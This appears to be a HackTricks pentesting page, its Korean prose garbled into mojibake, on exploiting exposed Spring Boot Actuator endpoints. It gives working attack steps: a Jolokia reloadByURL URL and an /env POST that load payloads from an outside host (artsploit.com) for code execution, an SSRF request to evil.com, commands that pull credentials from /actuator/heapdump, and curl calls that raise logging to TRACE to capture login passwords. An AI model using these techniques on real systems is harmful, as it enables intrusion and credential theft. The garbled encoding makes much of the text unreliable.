Spring Actuators
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Spring Auth Bypass
.png)
From https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png
Exploiting Spring Boot Actuators
์๋ฌธ ๊ฒ์๋ฌผ: [https://www.veracode.com/blog/research/exploiting-spring-boot-actuators]
ํต์ฌ ์์ :
- Spring Boot Actuators๋
/health,/trace,/beans,/env๋ฑ๊ณผ ๊ฐ์ ์๋ํฌ์ธํธ๋ฅผ ๋ฑ๋กํฉ๋๋ค. ๋ฒ์ 1~1.4์์๋ ์ด๋ฌํ ์๋ํฌ์ธํธ๊ฐ ์ธ์ฆ ์์ด ์ ๊ทผ ๊ฐ๋ฅํ์ต๋๋ค. 1.5๋ถํฐ๋ ๊ธฐ๋ณธ์ ์ผ๋ก/health์/info๋ง ๋ฏผ๊ฐํ์ง ์์ ๊ฒ์ผ๋ก ์ค์ ๋์ง๋ง, ๊ฐ๋ฐ์๋ค์ด ์ด ๋ณด์์ ์ข ์ข ๋นํ์ฑํํฉ๋๋ค. - ์ผ๋ถ Actuator ์๋ํฌ์ธํธ๋ ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๋ฅผ ๋ ธ์ถํ๊ฑฐ๋ ์ ํดํ ๋์์ ํ์ฉํ ์ ์์ต๋๋ค:
/dump,/trace,/logfile,/shutdown,/mappings,/env,/actuator/env,/restart, and/heapdump.- Spring Boot 1.x์์๋ actuator๊ฐ ๋ฃจํธ URL์ ๋ฑ๋ก๋๋ฉฐ, 2.x์์๋
/actuator/๋ฒ ์ด์ค ๊ฒฝ๋ก ์๋์ ๋ฑ๋ก๋ฉ๋๋ค.
๊ณต๊ฒฉ ๊ธฐ๋ฒ:
- Remote Code Execution via โ/jolokiaโ:
- The
/jolokiaactuator endpoint exposes the Jolokia Library, which allows HTTP access to MBeans. - The
reloadByURLaction can be exploited to reload logging configurations from an external URL, which can lead to blind XXE or Remote Code Execution via crafted XML configurations. - Example exploit URL:
http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml.
- Config Modification via โ/envโ:
- If Spring Cloud Libraries are present, the
/envendpoint allows modification of environmental properties. - Properties can be manipulated to exploit vulnerabilities, such as the XStream deserialization vulnerability in the Eureka serviceURL.
- Example exploit POST request:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
- ๊ธฐํ ์ ์ฉํ ์ค์ :
spring.datasource.tomcat.validationQuery,spring.datasource.tomcat.url, ๋ฐspring.datasource.tomcat.max-active๊ฐ์ ์์ฑ์ SQL injection์ด๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฐ๊ฒฐ ๋ฌธ์์ด ๋ณ๊ฒฝ ๋ฑ ๋ค์ํ ์ต์คํ๋ก์์ ์ ์ฉ๋ ์ ์์ต๋๋ค.
์ถ๊ฐ ์ ๋ณด:
- A comprehensive list of default actuators can be found here.
- Spring Boot 2.x์
/env์๋ํฌ์ธํธ๋ ์์ฑ ์์ ์ ์ํด JSON ํ์์ ์ฌ์ฉํ์ง๋ง, ๊ธฐ๋ณธ ๊ฐ๋ ์ ๋์ผํฉ๋๋ค.
๊ด๋ จ ์ฃผ์ :
- Env + H2 RCE:
/env์๋ํฌ์ธํธ์ H2 ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์กฐํฉ์ ์ด์ฉํ ์ต์คํ๋ก์์ ๋ํ ์์ธํ ๋ด์ฉ์ here์์ ํ์ธํ ์ ์์ต๋๋ค.
- ๊ฒฝ๋ก ์ด๋ฆ ํด์ ์ค๋ฅ๋ฅผ ํตํ Spring Boot SSRF:
- HTTP ๊ฒฝ๋ก๋ช
์์ matrix parameters (
;)๋ฅผ ์ฒ๋ฆฌํ๋ Spring ํ๋ ์์ํฌ์ ๋ฐฉ์์ Server-Side Request Forgery (SSRF)์ ์ ์ฉ๋ ์ ์์ต๋๋ค. - Example exploit request:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
HeapDump secrets mining (credentials, tokens, internal URLs)
๋ง์ฝ /actuator/heapdump๊ฐ ๋
ธ์ถ๋์ด ์๋ค๋ฉด, ๋ณดํต DB ์๊ฒฉ์ฆ๋ช
, API ํค, Basic-Auth, ๋ด๋ถ ์๋น์ค URL, Spring ํ๋กํผํฐ ๋งต ๋ฑ๊ณผ ๊ฐ์ ์ค์๊ฐ ๋น๋ฐ์ ํฌํจํ ์ ์ฒด JVM ํ ์ค๋
์ท์ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
- Download and quick triage:
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
- Deeper analysis with VisualVM and OQL:
- Open heapdump in VisualVM, inspect instances of
java.lang.Stringor run OQL to hunt secrets:
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
- Automated extraction with JDumpSpider:
java -jar JDumpSpider-*.jar heapdump
Typical high-value findings:
- Spring
DataSourceProperties/HikariDataSourceobjects exposingurl,username,password. OriginTrackedMapPropertySourceentries revealingmanagement.endpoints.web.exposure.include, service ports, and embedded Basic-Auth in URLs (e.g., EurekadefaultZone).- Plain HTTP request/response fragments including
Authorization: Basic ...captured in memory.
ํ:
- SecLists์ spring-boot.txt์ ๊ฐ์ด Spring์ ์ด์ ์ ๋ง์ถ ์๋๋ฆฌ์คํธ๋ฅผ ์ฌ์ฉํด actuator ์๋ํฌ์ธํธ๋ฅผ ๋น ๋ฅด๊ฒ ์ฐพ์๋ณด์ธ์. ๋ํ
/actuator/logfile,/actuator/httpexchanges,/actuator/env,/actuator/configprops๋ ๋ ธ์ถ๋์ด ์๋์ง ํญ์ ํ์ธํ์ธ์. - heapdump์์ ์ป์ ์๊ฒฉ์ฆ๋ช ์ ์ธ์ ํ ์๋น์ค๋ ๋๋ก๋ ์์คํ ์ฌ์ฉ์(SSH)์๋ ์ ํจํ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ฏ๋ก ํญ๋๊ฒ ์๋ํด ๋ณด์ธ์.
Abusing Actuator loggers/logging to capture credentials
๋ง์ฝ management.endpoints.web.exposure.include๊ฐ ํ์ฉํ๊ณ /actuator/loggers๊ฐ ๋
ธ์ถ๋์ด ์๋ค๋ฉด, ์ธ์ฆ๊ณผ ์์ฒญ ์ฒ๋ฆฌ๋ฅผ ๋ด๋นํ๋ ํจํค์ง๋ค์ ๋ก๊ทธ ๋ ๋ฒจ์ ๋์ ์ผ๋ก DEBUG/TRACE๋ก ์ฌ๋ฆด ์ ์์ต๋๋ค. /actuator/logfile์ด๋ ์๋ ค์ง ๋ก๊ทธ ๊ฒฝ๋ก๋ฅผ ํตํด ๋ก๊ทธ๋ฅผ ์ฝ์ ์ ์๋ ์ํ์ ๊ฒฐํฉํ๋ฉด ๋ก๊ทธ์ธ ํ๋ฆ ์ค ์ ์ถ๋ ์๊ฒฉ์ฆ๋ช
(์: Basic-Auth ํค๋๋ ํผ ํ๋ผ๋ฏธํฐ)์ด ๋
ธ์ถ๋์ด leak๋ ์ ์์ต๋๋ค.
- Enumerate and crank up sensitive loggers:
# List available loggers
curl -s http://target/actuator/loggers | jq .
# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
- Find where logs are written and harvest:
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='
# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
- ๋ก๊ทธ์ธ/์ธ์ฆ ํธ๋ํฝ์ ์ ๋ฐ์ํค๊ณ ๋ก๊ทธ์์ ์๊ฒฉ์ฆ๋ช ์ ํ์ฑํ์ธ์. Gateway๊ฐ ์ธ์ฆ ์๋จ์ ๋ด๋นํ๋ ๋ง์ดํฌ๋ก์๋น์ค ํ๊ฒฝ์์๋ gateway/security ํจํค์ง์ ๋ํด TRACE๋ฅผ ํ์ฑํํ๋ฉด ํค๋์ ํผ ๋ฐ๋๊ฐ ๋ ธ์ถ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์ผ๋ถ ํ๊ฒฝ์ ์ฃผ๊ธฐ์ ์ผ๋ก ํฉ์ฑ ๋ก๊ทธ์ธ ํธ๋ํฝ์ ์์ฑํ๊ธฐ๋ ํ๋ฏ๋ก, ๋ก๊ทธ๋ฅผ ์์ธํ๊ฒ ์ค์ ํ๋ฉด ์์ง์ด ๋งค์ฐ ์ฌ์์ง๋๋ค.
๋ ธํธ:
- ๋๋ ํ ๋ก๊ทธ ๋ ๋ฒจ์ ์ด๊ธฐํํ์ธ์:
POST /actuator/loggers/<logger>์{ "configuredLevel": null }์ ์ก. /actuator/httpexchanges๊ฐ ๋ ธ์ถ๋์ด ์๋ค๋ฉด ๋ฏผ๊ฐํ ํค๋๋ฅผ ํฌํจํ ์ ์๋ ์ต๊ทผ ์์ฒญ ๋ฉํ๋ฐ์ดํฐ๋ ํ์ธํ ์ ์์ต๋๋ค.
References
- Exploring Spring Boot Actuator Misconfigurations (Wiz)
- VisualVM
- JDumpSpider
- 0xdf โ HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


